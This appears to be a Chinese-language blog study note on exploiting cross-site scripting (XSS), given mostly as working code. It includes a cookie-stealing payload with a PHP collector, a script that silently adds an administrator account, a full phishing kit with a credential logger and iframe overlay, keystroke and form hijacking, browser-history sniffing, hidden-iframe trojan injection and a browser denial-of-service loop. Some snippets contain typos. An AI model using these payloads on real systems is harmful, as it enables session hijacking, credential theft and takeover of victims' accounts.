xss漏洞利用

一、跨站獲取cookie

1,hacker端(hacker.php)的程序如下:      

<?php
$cookie=$_GET['cookie'];
$file=fopen("cookie.txt","a");
fwrite($file,$cookie);
fclose($file)
?>


2,受害者端(victim.php)的程序如下:
<html>
<head>
<title>xss跨站原理復現</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit" value="提交">
</form>

<?php
$xss=@$_GET['xss_input'];
echo '你輸入的字符爲<br>'.$xss;
?>

</body>
</html>

3,hacker發給victim的payload語句如下:
http://localhost/victim.php?xss_input=<script>document.location="http://localhost/hacker.php?cookie="+document.cookie</script>
ps:第一次用的事件不是document.location,選擇的是window.open事件,But,沒有成功。更換瀏覽器也不照。

4,當victim點擊hacker發送的鏈接後,Victim主機的cookie就被寫入到hacker的cookie.txt文檔中了,cookie信息也就因此丟失了,那麼hacker久可以利用這個cookie信息針對victim做bulabula....


二、會話劫持
xss會話劫持就是***者利用xss劫持了用戶的會話去執行某些惡意操作。

1,XSS實現權限提升
前提一:抓取到被***者添加管理員賬號信息時的請求信息,包括請求的URL地址和POST的數據。
前提二:擁有被***主機中的cookie信息

xss shellcode如下:

var request=false;
if(window.XMLHttpRequest) {
        request=new XMLHttpRequest();
        if(request.overrideMimeType) {
                request.oveerideMimeType('text/xml');
        }
}
else if(window.ActiveXObject){
var versions=
['Microsoft.XMLHTTP','MSXML.XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0',
'Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP'];
for(var i=0;i<version.length;i++){
try{
request=new ActiveXObject(versions);
} catch(e) {}
}}
xmlhttp=request;

add_admin();
function add_admin(){
var url="/admin/AdminUser/adminUser_Add.asp";                        //請求地址
var params="UserName=xss123&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB";        //提交的數據。這裏的user和password均是要添加的信息
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length",params.length);
xmlhttp.setRequestHeader("Connection","close";)
xmlhttp.send(params);
}


三、XSS釣魚

思路:
針對正常的頁面(normal.php)進行僞造釣魚頁面(evil.php)--->創建收集受害者信息的腳步文件(get.php)--->尋找存在漏洞的網站(bug.php)--->根據漏洞情況製作框架文件(xss.js)鏈接(exploit),發送給受害者--->等待受害者點擊,獲取信息


具體步驟&代碼如下:

1,正常的頁面如下:
<form method="post" action="http://www.baidu.com/">//簡單點,點擊登錄直接扔給百度
<input type="text" name="username" value="Tason" /><br />
<input type="password" name="password" value="P@ss" /><br />
<input type="submit" name="logon"  value="Submit" />
</form>

2,釣魚頁面,可以直接從真實網站複製過來。

僞造的頁面如下:
<form method="post" action="http://localhost/phishing/get.php">     //get.php爲hacker端接收s受害者信息的頁面
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="P@ss" /><br />
<input type="submit" name="logon" value="Submit"/>
</form>


3,記錄信息的腳本文件 get.php 內容如下:
<?php
$data=fopen("logfile.txt","a+");//注:logfile文件必須事先創建好
$login=$_POST['username'];
$pass=$_POST['password'];
fwrite($data,"Username:$login\n");
fwrite($data,"Password:$pass\n");
fclose($data);
Header("location:http://www.baidu.com");                                    //信息收集完畢跳轉到正常頁面
?>

4,存在漏洞的網站bug.php代碼內容如下:
<?php
$s1=@$_GET['s'];
echo "<br>";
echo $s1;
?>

5,xss.js文件的作用是創建一個iframe框架覆蓋目標頁面,再加載遠程域僞造的釣魚頁面,內容如下:
document.body.innerHTML=(
'<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">'+
'<iframe src=http://localhost/phishing/evil.php width=100% height=100%>'+
'</iframe></div>'
);

6,xss釣魚exploit如下:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>//bug.php爲存在漏洞的網站

7,等待收網


xss釣魚的方式:
1,xss重定向釣魚
即把當前頁面重定向到釣魚網站上:
http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>

2,html注入式釣魚
即把釣魚網站的頁面直接加載到鏈接中:
http://localhost/phishing/bug.php?s=
<html><head><title>login</title></head>
<body><form method="post" action="http://localhost/phishing/get.php">
<input type="text" name="username" value="Tason" /><br/>
<input type="password" name="password" value="P@ss" /><br />
<input type="submit" name="logon" value="Submit"/>
</form></body></html>

3,XSS跨框架釣魚
即通過<iframe>標籤嵌入遠程域的頁面實施釣魚
http://localhost/phishing/bug.php?s=<iframe src=http://localhost/phishing/xss.js></iframe> 

4,flash釣魚
***者把精心構造的flash文件上傳到遠程服務器,然後在目標網站上使用<object><embed>標籤去引用flash即可

Tips:
1,劫持鏈接的onclick事件
for (i=0;i<document.links.length;i++){
document.links.onclick=hijack;
}

2,監聽鍵盤的onkeydown事件
document.onkeydown=function(e){
if(!e) e=window.event;
try{hijack();} catch(ex){}
}

3,劫持表單的輸入框
document.onkeyup=function(){
document.forms['PassFormlogin'].onsubmit=function(){
pwd=this.PassInputUsername0.value + '|' + this.PassInputPassword0.value;
log(escape(pwd));
}}



四,xss history hack
利用css能定義和控制鏈接樣式的特性,能夠獲取用戶瀏覽器的某些歷史記錄,甚至是在搜索引擎輸入的查詢字符
1,鏈接樣式和getComputedStyle()
css中4個僞類用來定義鏈接的樣式,分別是:
a:link未訪問的
a:visited  已訪問的
a:active激活的,被選擇的鏈接
a:hover光標懸停在其上的鏈接

新建HTML樣例:
<style type="text/css">
a:link{color:blue}
a:visited{color:red}
a:hover{color:yellow}
</style>
<a href="http://www.google.com" id="x">google</a></br>
<a href="http://www.baidu.com" id="x">baidu</a></br>
<a href="http://weibo.com" id="x">weibo</a></br>
<a href="http://qq.com" id="x">qq</a></br>
<a href="http://www.163.com" id="x">163</a>

利用getComputedStyle()來實現偵查某一個人是否訪問過一個任意的url。


2,JavaScript/CSS history hack
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
var   websites=[
"http://www.baidu.com/",
"http://www.zhibo8.cc/",
"http://51cto.com/",
"http://www.sina.com/",
"http://weibo.com/",
"http://www.playsec.com/",
];
for(var i=0;i<websites.length;i++){
var link=document.createElement("a");
    link.id="id"+i;
     link.href=websites;
     link.innerHTML=websites;
     document.write('<style>');
    document.write('#id' +i + ":visited {color: #FF0000;}");
     document.write('</style>');
     document.body.appendChild(link);
    var   color=document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
     document.body.removeChild(link);
if (color == "rgb(255,0,0)"){
     var  item=document.createElement('li');
     item.appendChild(link);
document.getElementById('visited').appendChild(item);
}  else{
       var   item =document.createElement('li');
         item.appendChild(link);
         document.getElementById('notvisited').appendChild(item);
}
}
</script>
</body>
</html>

3,竊取搜索查詢
目的是爲了收集用戶感興趣的話題,利用這些信息實施網絡釣魚、社會工程學***


五,客戶端信息探測
1,JavaScript實現端口掃描
ps:個人覺得可以用其他更好的掃描工具,比如nmap

2,截獲剪切板內容
通過嵌入網頁的JavaScript代碼劫持客戶端的剪切板,從而獲取重要信息
JavaScript中主要使用window.clipboardData對象處理剪切板的內容,有以下三種方法:
clearData(sDataFormat)       //刪除剪貼板中指定格式的數據
getData(sDataFormat)          //從剪貼板獲取指定格式的數據
setData(sDataFormat,sData) //給剪貼板賦予指定格式的數據

poc如下:
<form id="test" action="test.php" method="post">
  <div  id="someData">
     <textarea  rows="4"  cols="40"  name="test">
</textarea>
  </div>
<input type="button" value="複製到剪貼板">
<input type="button" value="查看剪貼板內容"  onclick="readClipboard()">
<input type="button" value="清除">
</form>
<script>
function  readClipboard(){
          alert(window.clipboardData.getData('Text'));
}
function  setClipboard(){
          var  t=document.getElementById("someData").innerText;
        window.clipboardData.setData('text',t);
}
</script>

ps:IE瀏覽器測試成功

3,獲取客戶端IP地址
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=gb2312">
<title>JavaScript獲取客戶端IP</title>
</head>
<body>
function GetLocalIPAddress()
{
      var   obj = null;
      var   rslt = "";
     try{
          obj = new ActiveXObject("rcbdyctl.Setting");
          rslt =obj.GetIPAddress;
          obj = null;
}
      catch(e){}
      return  rslt;
}
document.write("你的IP是: "+ GetLocalIPAdress());
</script>
</body>
</html>

六,網頁掛馬
實現方式一般都是通過篡改網頁來實現,例如在xss***中使用<iframe>標籤,代碼如下:
<iframe src=http://localhost/trojan.html width=0 height=0></iframe>
還可以利用JavaScript腳本動態創建窗口並調用網頁***
<script>
document.write("<iframe src=http://localhost/trojan.html width=0 height=0></iframe>")
</script>

七,DOS和DDOS
通過注入而已的JavaScript腳本代碼,引起dos***,目標是受害人的瀏覽器,代碼如下
<script>for (;;) alert("xss");</script>
保存爲html文件發給客戶或者通過漏洞調用
http://localhost/victiom.php?s=<script>for(;;)alert("xss");</script>

ps: <meta http-equiv="refresh" content="0">   會強迫受害者不斷的刷新當前頁面

八,xss virus/worm
xss virus/worm類似於個人計算機平臺上的病毒程序,有潛伏、後門的特性,可以用於盜號、竊取用戶隱私信息,主要在客戶端執行惡意***,類似蠕蟲般具有自我複製能力的***形態。
例如:samy xss worm***事件。當時samy在自己的空間的個人簡介處植入一段JavaScript代碼,每個查看他簡介的人會在不知覺間執行這段代碼,加samy爲好友,然後蠕蟲打開受害者的個人簡介,寫入惡意JavaScript代碼,進而任何查看該受害者個人簡介的人也會被感染。

最後:有些情況沒有測試案例,後續在學習的過程中會繼續補充。
Tips:學習&分享

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章